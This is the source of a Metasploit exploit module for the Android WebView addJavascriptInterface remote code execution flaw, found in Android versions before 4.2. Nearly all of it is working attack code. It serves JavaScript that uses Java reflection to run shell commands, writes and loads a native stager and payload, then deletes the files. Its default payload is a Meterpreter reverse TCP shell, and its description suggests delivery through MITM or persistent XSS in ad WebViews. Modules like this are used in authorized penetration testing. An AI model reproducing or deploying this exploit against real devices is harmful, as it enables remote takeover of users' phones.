## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :os_flavor => "Android", :arch => ARCH_ARMLE, :javascript => true, :rank => ExcellentRanking, :vuln_test => %Q| for (i in top) { try { top[i].getClass().forName('java.lang.Runtime'); is_vuln = true; break; } catch(e) {} } | }) def initialize(info = {}) super(update_info(info, 'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution', 'Description' => %q{ This module exploits a privilege escalation issue in Android < 4.2's WebView component that arises when untrusted Javascript code is executed by a WebView that has one or more Interfaces added to it. The untrusted Javascript code can call into the Java Reflection APIs exposed by the Interface and execute arbitrary commands. Some distributions of the Android Browser app have an addJavascriptInterface call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs 4.1.2 release of Android is known to be vulnerable. A secondary attack vector involves the WebViews embedded inside a large number of Android applications. Ad integrations are perhaps the worst offender here. If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS into the page displayed in the WebView, then you can inject the html/js served by this module and get a shell. Note: Adding a .js to the URL will return plain javascript (no HTML markup). }, 'License' => MSF_LICENSE, 'Author' => [ 'jduck', # original msf module 'joev' # static server ], 'References' => [ ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'], ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'], ['URL', 'http://50.56.33.56/blog/?p=314'], ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'], ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'] ], 'Platform' => 'android', 'Arch' => ARCH_DALVIK, 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp', }, 'Targets' => [ [ 'Automatic', {} ] ], 'DisclosureDate' => 'Dec 21 2012', 'DefaultTarget' => 0, 'BrowserRequirements' => { :source => 'script', :os_flavor => "Android", :arch => ARCH_ARMLE } )) end def on_request_uri(cli, req) if req.uri.end_with?('js') print_status("Serving javascript") send_response(cli, js, 'Content-type' => 'text/javascript') else print_status("Serving exploit HTML") send_response_html(cli, html) end end def ndkstager(stagename) localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', 'armeabi', 'libndkstager.so') data = File.read(localfile, :mode => 'rb') data.gsub!('PLOAD', stagename) end def js stagename = Rex::Text.rand_text_alpha(5) %Q| function exec(obj) { // ensure that the object contains a native interface try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; } // get the pid var pid = obj.getClass().forName('android.os.Process').getMethod('myPid', null).invoke(null, null); // get the runtime so we can exec var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null); var runtime = m.invoke(null, null); var stageData = "#{Rex::Text.to_hex(payload.raw, '\\\\x')}"; var libraryData = "#{Rex::Text.to_hex(ndkstager(stagename), '\\\\x')}"; // get the process name, which will give us our data path // $PPID does not seem to work on android 4.0, so we concat pids manually var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']); var ch, path = '/data/data/'; while ((ch = p.getInputStream().read()) >= 0) { path += String.fromCharCode(ch); } var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so'; var stagePath = path + '/#{stagename}.apk'; var dexPath = path + '/#{stagename}.dex'; // build the library and chmod it runtime.exec(['/system/bin/sh', '-c', 'echo "'+libraryData+'" > '+libraryPath]).waitFor(); runtime.exec(['chmod', '700', libraryPath]).waitFor(); // build the stage, chmod it, and load it runtime.exec(['/system/bin/sh', '-c', 'echo "'+stageData+'" > '+stagePath]).waitFor(); runtime.exec(['chmod', '700', stagePath]).waitFor(); runtime.load(libraryPath); runtime.exec(['rm', stagePath]).waitFor(); runtime.exec(['rm', libraryPath]).waitFor(); runtime.exec(['rm', dexPath]).waitFor(); return true; } for (i in top) { if (exec(top[i]) === true) break; } | end def html "" end end